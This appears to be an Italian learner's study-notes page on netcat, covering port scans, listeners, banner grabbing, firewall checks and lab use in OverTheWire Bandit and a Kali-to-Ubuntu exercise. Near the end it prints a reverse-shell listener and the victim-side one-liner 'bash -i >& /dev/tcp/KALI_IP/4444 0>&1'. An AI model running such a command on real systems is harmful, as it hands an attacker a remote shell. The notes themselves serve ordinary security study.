Skip to main content
  1. Comandi/

netcat

·3 mins
Alessio Barnini
Author
Alessio Barnini
Table of Contents

Cosa fa
#

Utility versatile per leggere e scrivere dati attraverso connessioni di rete TCP e UDP. Viene utilizzato per il debugging, il port scanning, il trasferimento di file e la creazione di backdoor (in ambito Red Team) o test di connettività (Blue Team).

Sintassi
#

nc [opzioni] [host] [porta]

Comandi essenziali
#

ComandoFlagEffetto
nc -zv host 1-100-z (scan), -v (verbose)Port scan veloce: verifica quali porte sono aperte senza inviare dati.
nc -l -p 4444-l (listen), -p (port)Trasforma la macchina in un server che ascolta sulla porta 4444.
nc host porta—Si connette a un servizio remoto (es. un server web o un database).
nc -u host porta-u (UDP)Utilizza il protocollo UDP invece del TCP (default).
nc -l -k -p 8080-k keeprimane in ascolto dopo che ogni connessione si chiude.

Analisi Tecnica (Senior Perspective)
#

Netcat lavora direttamente con i Raw Sockets. A differenza di un browser (che interpreta l'HTML) o di un client SSH (che gestisce la cifratura), Netcat invia esattamente ciò che digiti e stampa esattamente ciò che riceve.

Il concetto di "Pipe" di Rete
#

Netcat eccelle quando combinato con le pipe di Linux. Puoi prendere l'output di un comando e "spararlo" attraverso la rete: echo "Dati Sensibili" | nc 192.168.1.50 30000

trova le porte "aperte"
#

nc -zv ctf.labs.overthewire.org 1-10000 2>&1 | grep -E 'open|succeeded'

Visual Flow: Client vs Server
#

      CLIENT (Tu)                          SERVER
  [ Connessione Outbound ]             [ In ascolto / Listening ]
          |                                      |
          |----------- SYN (Richiesta) --------->|
          |<---------- SYN/ACK (Ok!) ------------|
          |                                      |
          |--- "Ciao, ecco la mia password" ---->|

Scenario Reale
#

  1. Banner Grabbing: Un analista SOC usa nc -v target 80 e poi preme Invio per vedere quale versione di Apache o Nginx sta rispondendo. Se la versione è obsoleta, è una vulnerabilità.
  2. Verifica Firewall: Se non riesci a raggiungere un database, usi nc -zv db-server 5432. Se risponde "Connection refused", il firewall blocca il traffico o il servizio è spento.

Listener per reverse shell
#

# Attaccante — metti netcat in ascolto
nc -lvnp 4444
# -l  listen
# -v  verbose
# -n  no DNS resolution
# -p  porta

# La vittima si connette con:
# bash -i >& /dev/tcp/KALI_IP/4444 0>&1

Vedi reverse-shell per la spiegazione completa del meccanismo.

Dove l'ho usato
#

  • bandit-14 — Per inviare la password al servizio locale sulla porta 30000.
  • Settimana 9 — listener per reverse shell lab (Kali → Ubuntu)

Collegato a
#

  • network — Categoria principale
  • standard-streams — Per l'integrazione con pipe e redirect
  • nmap — Per scansioni più avanzate e rumorose

🧠 Tip del Senior per Barno
#

Attenzione: Netcat invia tutto in chiaro (cleartext). Se lo usi per inviare password su una rete che non controlli (es. una rete Wi-Fi pubblica), chiunque stia facendo sniffing con Wireshark può leggere la tua password.

Related